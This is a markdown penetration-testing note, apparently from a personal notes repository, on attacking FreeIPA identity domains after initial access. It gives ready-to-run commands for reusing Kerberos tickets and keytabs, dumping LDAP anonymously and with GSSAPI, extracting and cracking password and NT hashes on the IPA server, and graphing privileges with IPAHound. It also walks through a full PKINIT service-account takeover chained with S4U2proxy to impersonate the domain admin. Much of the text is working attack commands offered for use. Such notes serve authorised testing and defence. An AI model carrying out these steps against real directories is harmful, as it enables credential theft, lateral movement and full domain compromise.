Skip to content

freeipa-pentesting.md

Latest commit

 

History

History
71 lines (50 loc) · 3.6 KB

freeipa-pentesting.md

File metadata and controls

71 lines (50 loc) · 3.6 KB
Raw
title FreeIPA Pentesting
type technique
tags
linux
freeipa
kerberos
ldap
privilege-escalation
lateral-movement
phase post-exploitation
date_created 2026-07-15
date_updated 2026-07-15
sources
hacktricks-linux

FreeIPA Pentesting

FreeIPA is the Unix equivalent of Active Directory: LDAP directory + MIT Kerberos KDC + Dogtag CA, glued with SSSD. The admin user equals Domain Admins.

Fingerprint and ticket looting

Fingerprint a joined host by /etc/krb5.conf, /etc/ipa/default.conf, /etc/krb5.keytab, and the ipa/kinit/klist/ipa-getkeytab binaries. Kerberos tickets live as CCACHE files in /tmp (600 perms; reuse by exporting KRB5CCNAME) or in the kernel keyring (extract with Tickey). Keytabs (/etc/krb5.keytab) yield a TGT without the principal password.

Enumeration (anonymous + authenticated)

By default the LDAP server allows anonymous binds, so a large amount of directory data is enumerable unauthenticated. With a ticket, enumerate hosts, users, groups, HBAC rules, sudo rules, and RBAC roles/privileges/permissions.

# Unauthenticated anonymous LDAP dump
ldapsearch -x

# Authenticated (GSSAPI) enumeration
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=hbac,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain,dc=local"

# On a domain-joined host with a ticket
ipa user-find; ipa host-find; ipa hbacrule-find; ipa sudorule-find
ipa role-find; ipa privilege-find; ipa permission-find

Hash extraction (from root on the IPA server)

From root ON THE IPA SERVER, userPassword (base64 SSHA512 on old, PBKDF2_SHA256 on new) and ipaNTHash (base64 NT hash if AD-integrated) are readable; extract the raw DB with dbscan. For PBKDF2_SHA256 crack only the first 256 bits (32 bytes). AD-integrated ipaNTHash cracks trivially: base64-decode then re-encode as hex and feed to hashcat/john.

Graphing with IPAHound

Graph a FreeIPA domain from a low-priv user with IPAHound (BloodHound-for-FreeIPA); it infers hidden roles/permissions from readable attributes (memberOf, memberManager=AddMember, managedBy=Owns, ipaAllowedToPerform;read_keys=ReadKerberosKey, ipaUserAuthType missing=password auth allowed).

IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
# In Neo4j, find sprayable users and lateral edges
# MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
# CanSSH (HBAC->sshd) + CanSUDO (HBAC+sudorule) to a DC can enable id2entry.db theft = domain compromise

Service/computer-account takeover via PKINIT

A computer account owns its service principals. Instead of resetting keys, abuse PKINIT by writing a self-issued cert into the service LDAP object, then kinit -X with it; chain AllowedToDelegate via S4U2proxy to impersonate admin to LDAP.

openssl req -new -newkey rsa:2048 -days 365 -nodes -keyout k.key -out c.csr -subj '/CN=srv.domain.local'
ipa cert-request c.csr --certificate-out=srv.pem --principal=host/srv.domain.local
# Write userCertificate;binary into the service object via ldapmodify (ipa util alone is insufficient)
kinit -X X509_user_identity=FILE:srv.pem,k.key test/srv.domain.local@DOMAIN.LOCAL
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local

Credential looting and CVE

Credential looting across SSSD/Kerberos on the box: LinikatzV2. Historic root-user-creation impersonation is CVE-2020-10747 (patched).

Sources

  • HackTricks linux-hardening (ingest slug hacktricks-linux).